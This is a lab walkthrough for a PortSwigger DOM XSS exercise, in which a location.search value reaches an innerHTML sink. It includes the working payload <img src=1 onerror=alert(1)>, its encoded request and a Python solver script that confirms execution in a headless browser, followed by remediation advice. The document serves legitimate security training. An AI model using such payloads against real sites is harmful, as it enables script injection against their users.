LearnCross-Site Scripting (XSS) › DOM XSS in innerHTML sink using source location.…

DOM XSS in innerHTML sink using source location.search

PortSwigger Apprentice Cross-Site Scripting (XSS)

Original lab: DOM XSS in innerHTML sink using source location.search on PortSwigger ↗

This lab looks almost identical to the previous one on the surface — the same location.search source, the same search box, the same absence of any server-side reflection to inspect — but the sink is different in a way that matters: innerHTML instead of document.write(). That single difference changes what payload actually works, which is the point of studying DOM sinks individually rather than treating "DOM XSS" as one interchangeable technique.

The Target

Same blog application, same search functionality, same client-side pattern of reading location.search and writing it into the page without going through the server. The difference only becomes visible once you look at *how* the value gets written.

The Investigation

innerHTML parses whatever string it's given as HTML — but critically, it does not execute <script> tags the way document.write() effectively can. Browsers strip or simply never run script elements inserted via innerHTML assignment, which is a long-standing (if inconsistent) browser protection against exactly this class of bug. That meant the script-tag payload that worked cleanly for the earlier reflected-HTML lab would land in the DOM here but never fire. What still works through innerHTML is any HTML element with an inline event handler, since those aren't subject to the same restriction — the browser happily attaches the onerror/onload handler and runs it the moment the element triggers.

The Exploit

We submitted an image tag with a broken source and an onerror handler:

GET /?search=%3Cimg%20src%3D1%20onerror%3Dalert(1)%3E

Payload: <img src=1 onerror=alert(1)>. The src=1 is not a valid image URL, so the browser fires its onerror event immediately after inserting the element via innerHTML, executing our JavaScript.

Comparing Notes: PortSwigger's Official Solution

PortSwigger's solution is the same single-step payload: enter <img src=1 onerror=alert(1)> into the search box. Their explanation calls out the same mechanism we relied on — the invalid src triggers an error, which fires onerror and runs the alert. No divergence in approach. The only difference is that their walkthrough types the payload into the search box directly, while we issued the request via HTTP client and confirmed the resulting DOM execution with a headless browser.

What This Teaches Us

The practical lesson is that "sanitizing" HTML input isn't a single problem with a single fix — different DOM sinks have different execution rules, and a payload built for one sink can silently fail against another even when the underlying vulnerability (attacker-controlled data reaching a raw-HTML sink) is the same. innerHTML blocking <script> execution isn't a security control the application put there on purpose; it's incidental browser behavior, and event-handler attributes sail right through it. The actual fix is the same as every other DOM XSS lab in this series: don't feed location.search (or any attacker-controlled source) into innerHTML unescaped. Use textContent for plain text, or explicitly sanitize/encode before any HTML-parsing sink sees the value.


The automated solution

Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.

Show the solution script (Python)
#!/usr/bin/env python3
"""
DOM XSS in innerHTML sink using source location.search
PortSwigger Web Security Academy — Cross-Site Scripting (XSS)

Companion script for the writeup: 04-dom-xss-innerhtml-sink.md

What this does:
    Another pure client-side sink -- location.search flows into an innerHTML
    assignment. innerHTML parses the string as HTML but browsers won't
    execute a <script> tag inserted that way, so the payload uses an <img>
    with a broken src and an onerror handler instead, which fires normally
    through innerHTML. Delivers the payload and confirms execution with a
    headless browser listening for the alert() dialog.

Usage:
    python 04-dom-xss-innerhtml-sink.py <lab-url>
    e.g. python 04-dom-xss-innerhtml-sink.py https://0a1b00fa03d9c8b6803b56b400eb00d5.web-security-academy.net

Requirements:
    pip install httpx
    pip install playwright && playwright install chromium
"""

import sys
import urllib.parse
import httpx
from playwright.sync_api import sync_playwright

# innerHTML strips/never-executes <script> tags, so use an event handler instead.
PAYLOAD = "<img src=1 onerror=alert(1)>"


def solve(lab_url: str) -> None:
    client = httpx.Client(base_url=lab_url, follow_redirects=True, timeout=20)
    client.get("/")
    session = client.cookies.get("session", "")
    domain = urllib.parse.urlparse(lab_url).netloc

    url = f"{lab_url}/?search={urllib.parse.quote(PAYLOAD)}"
    print(f"[*] Payload: {PAYLOAD}")
    print(f"[*] Delivering to: {url}")

    alert_fired = False
    with sync_playwright() as p:
        browser = p.chromium.launch(headless=True)
        ctx = browser.new_context()
        if session:
            ctx.add_cookies([{"name": "session", "value": session, "domain": domain, "path": "/"}])
        page = ctx.new_page()

        def on_dialog(dialog):
            nonlocal alert_fired
            alert_fired = True
            dialog.accept()

        page.on("dialog", on_dialog)
        try:
            page.goto(url, wait_until="domcontentloaded", timeout=15000)
            page.wait_for_timeout(3000)
        except Exception:
            pass
        browser.close()

    print(f"[{'+' if alert_fired else '-'}] alert() {'fired' if alert_fired else 'did NOT fire'}")

    check = client.get("/")
    if "Congratulations" in check.text:
        print("[+] Lab solved.")
    else:
        print("[-] Not solved yet.")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <lab-url>")
        sys.exit(1)
    solve(sys.argv[1].rstrip("/"))

Related labs

Want to go from zero to junior pentester?

These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.

Join the Free Live Webinar →